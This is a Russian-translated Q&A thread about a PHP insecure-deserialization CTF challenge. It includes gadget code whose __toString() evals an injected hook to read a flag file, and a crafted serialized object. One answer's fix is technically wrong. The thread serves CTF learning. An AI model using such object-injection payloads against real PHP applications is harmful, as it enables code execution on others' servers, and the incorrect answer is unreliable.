Почему код все еще выполняется после "exit ()"? - PullRequest
0 голосов
/ 15 мая 2019

Я делаю вызов CTF о небезопасной десериализации в PHP. Цель состоит в том, чтобы напечатать флаг путем внедрения кода в десериализацию для выполнения функции print_flag(). Я подозреваю, что веб-сервер печатает только последнюю строку, отображаемую сценарием, которая переопределяет вывод флага, даже при вызове exit().

Предоставлена ​​часть php-кода, работающая на веб-сервере. Я реализовал это в своем собственном php-скрипте, чтобы узнать, что работает, а что нет. Мне удалось сериализовать объект, который выполняет код при десериализации. При вызове exit(print_flag()); флаг печатается без дальнейших ошибок ... По крайней мере, в моем сценарии. Когда я отправляю сериализованный объект на веб-сервер, он все равно печатает дальнейшие ошибки.

Кроме того, я попытался вернуть строку из моего введенного кода. Это тоже не работает.

function print_flag() {
    print file_get_contents('/var/flag/flag.txt');
}

class Example2
{
    private $hook;

    function __construct() {
        $this->hook = "exit(print_flag());";
    }

    function __toString()
    {
        if (isset($this->hook)) eval($this->hook);
    }
}

$flag = new Example2();
$serialized = serialize($flag);
print "$serialized\r\n";
$deserialized = unserialize($serialized);

Код похож на тот, который показан в задании, но изменен, поэтому он работает для меня.

Я ожидаю, что код вернет только флаг. При выполнении сценария на моей собственной машине вывод:

O: 8: "Example2": 1: {s: 14: "крюк Example2"; s: 19: "exit (print_flag ());";} thisistheflag

Когда я звоню без exit():

PHP Исправимая фатальная ошибка: Метод Example2 :: __ toString () должен вернуть строковое значение в ../phpObjInj.php в строке 39 "

Веб-сервер возвращает:

Исправляемая фатальная ошибка: метод Example2 :: __ toString () должен возвращать строковое значение в /var/www/index.php в строке 79

Как мне остановить печать ошибки?

Ответы [ 2 ]

0 голосов
/ 16 мая 2019

Удалите двойные кавычки в вашем конструкторе, function __construct() вместо

function __construct() {
    $this->hook = "exit(print_flag());";
}

использование

function __construct() {
    $this->hook = exit(print_flag());
}
0 голосов
/ 15 мая 2019

Ошибка возникает из-за unserialize($flag);.Поскольку аргумент unserialize() должен быть строкой, он пытается преобразовать объект Example2 в строку.Вы, вероятно, намеревались использовать unserialize($serialized);.

Но в целом вы должны убедиться, что метод __toString() возвращает строку.Если вам все равно, что это, вы можете вернуть пустую строку.

function __toString()
{
    if (isset($this->hook)) eval($this->hook);
    return "";
}

Ошибка не возникает, когда у вас есть exit() в хуке, потому что сценарий завершается до __toString()метод возвращает, поэтому он никогда не проверяет возвращаемое значение.

Ничего не выполняется после exit().Вот порядок операций:

  • new Example2 - Создает новый объект
  • serialize($flag) - Создает строку, представляющую объект
  • print "$serialized\r\n"; - Напечатайтестрока выше

Ни один из вышеперечисленных шагов не должен вызывать __toString(), поэтому перехват еще не выполнен.

  • deserialize($flag) - Это необходимо преобразовать $flag в строку, чтобы ее можно было проанализировать как сериализованные данные
    • Call $flag->__toString()
    • eval($this->hook)
    • Call print_flag(), который печатает флаг
    • Call exit(), который завершает сценарий

Итак, вы видите напечатанный сериализованный объект, затем флаг, и ничего больше из-за exit().

Чтобы продемонстрировать уязвимость, вы должнывызовите unserialize() с правильным аргументом.

$deserialized = unserialize($seralized);
echo $deserialized;

Этот оператор echo вызовет метод __toString().После этого скрипт завершит работу, и вы не получите сообщение об ошибке.

...